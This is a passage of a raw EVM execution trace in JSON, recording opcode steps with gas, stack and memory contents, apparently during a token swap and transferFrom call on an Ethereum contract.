004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15152,"op":"JUMP","gas":19150,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x1","0x2e96"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":11926,"op":"JUMPDEST","gas":19142,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":11927,"op":"DUP2","gas":19141,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":11928,"op":"LT","gas":19138,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":11929,"op":"ISZERO","gas":19135,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":11930,"op":"PUSH2","gas":19132,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":11933,"op":"JUMPI","gas":19129,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x1","0x2e7f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":11903,"op":"JUMPDEST","gas":19119,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":11904,"op":"POP","gas":19118,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":11905,"op":"POP","gas":19116,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":11906,"op":"POP","gas":19114,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":11907,"op":"POP","gas":19112,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":11908,"op":"JUMP","gas":19110,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb